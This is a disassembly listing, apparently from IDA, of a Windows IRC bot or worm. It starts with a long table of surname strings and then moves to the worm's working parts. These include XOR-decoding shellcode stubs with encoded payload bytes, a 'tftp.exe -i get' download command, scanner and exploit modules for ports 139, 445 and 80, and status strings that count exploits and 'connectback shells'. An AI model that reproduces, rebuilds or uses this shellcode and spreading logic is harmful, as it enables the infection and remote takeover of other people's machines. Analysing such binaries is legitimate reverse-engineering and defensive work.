aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9E0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9DCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9D4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9D0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9CCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9C4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9C0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9BCo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9B4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9ACo
					; ___:0042D9B0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A8o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9A4o
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9A0o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D99Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D998o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D994o
aClow		db 'Clow',0             ; DATA XREF: ___:0042D990o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D98Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042D988o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D984o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D980o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D97Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D978o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D974o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D970o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042D96Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D968o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D964o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D960o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D95Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D958o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D954o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D950o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D94Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D948o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D944o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D940o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D93Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D938o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D934o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D930o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D92Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D928o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D924o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D920o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D91Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D918o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D914o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D910o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D90Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042D908o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D904o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D900o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8F4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8F0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8ECo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8E4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8E0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8DCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8D4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8D0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8CCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8C4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8C0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8BCo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8B4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8B0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8ACo
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A8o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8A4o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8A0o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D89Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D898o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D894o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D890o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D88Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D888o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D884o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D880o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D87Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D878o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D874o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D870o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D86Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D868o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D860o
					; ___:0042D864o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D85Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D858o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D854o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D850o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D84Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D848o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D844o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D840o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D83Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D838o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D834o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D830o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D82Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D828o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D824o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D820o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D81Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D818o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D814o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D810o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D80Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D808o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D804o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D800o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7FCo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7F4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7F0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7ECo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7E4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7E0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7DCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7D4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7D0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7CCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7C4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7C0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7B4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7B0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7ACo
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A8o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7A4o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7A0o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042D79Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D798o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D794o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D790o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D78Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D788o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D784o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D780o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D77Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D778o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D774o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D770o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D76Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D768o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D764o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D760o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D75Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D758o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D754o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D750o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D74Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D748o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D744o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D740o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D73Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042D738o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D734o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D730o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D72Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D728o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D724o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D720o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D71Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D718o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D714o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D710o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D70Co
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D708o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D704o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D700o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6FCo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6F4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6F0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6ECo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6E4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6E0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6DCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6D4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6CCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6C4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6C0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6BCo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6B4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6B0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6ACo
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A8o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6A4o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6A0o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D69Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D698o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D694o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D690o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D68Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D688o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D684o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D680o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D67Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D678o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D674o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D670o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D66Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D668o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D664o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D660o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D65Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D658o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D654o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D650o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D648o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D644o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D640o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D63Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D638o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D634o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D630o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D62Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D628o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D624o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D620o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D61Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D618o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D614o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D610o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D60Co
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D608o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D604o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D600o
		align 4
byte_431258	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_43125C	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431260	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431268	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_43126C	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431270	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_431274	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431278	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_43127C	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431280	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_431284	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431288	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431290	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312A0
; ---------------------------------------------------------------------------


loc_43129E:				; CODE XREF: ___:loc_4312A0p
		jmp	short loc_4312A5
; ---------------------------------------------------------------------------


loc_4312A0:				; CODE XREF: ___:0043129Cj
		call	loc_43129E


loc_4312A5:				; CODE XREF: ___:loc_43129Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312AC:				; CODE XREF: ___:004312B1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312AC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312C2:				; CODE XREF: ___:004312C7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312C2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431364
		jnz	short loc_431350
		retn
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: ___:0043134Dj
					; ___:0043135Dj
		call	near ptr loc_431355+1


loc_431355:				; CODE XREF: ___:loc_431350p
		add	[edx+0], ch
		call	sub_431364
		jz	loc_431350
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431364	proc near		; CODE XREF: ___:00431348p
					; ___:00431358p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431364	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431410	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431414	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431418	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_43141C	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431420	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431424	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_4315F2	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43161E

; =============== S U B	R O U T	I N E =======================================



sub_43160E	proc near		; CODE XREF: sub_43160E:loc_43161Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431616:				; CODE XREF: sub_43160E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431616
		jmp	short loc_431623
; ---------------------------------------------------------------------------


loc_43161E:				; CODE XREF: ___:0043160Cj
		call	sub_43160E


loc_431623:				; CODE XREF: sub_43160E+Ej
		jo	short near ptr dword_4315AC+12h
		cwde
		cdq
		cdq
		retn
sub_43160E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 10h
dword_4317A0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317AC	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317CC	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431814	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431850	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431860	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_43187C	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318B0	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
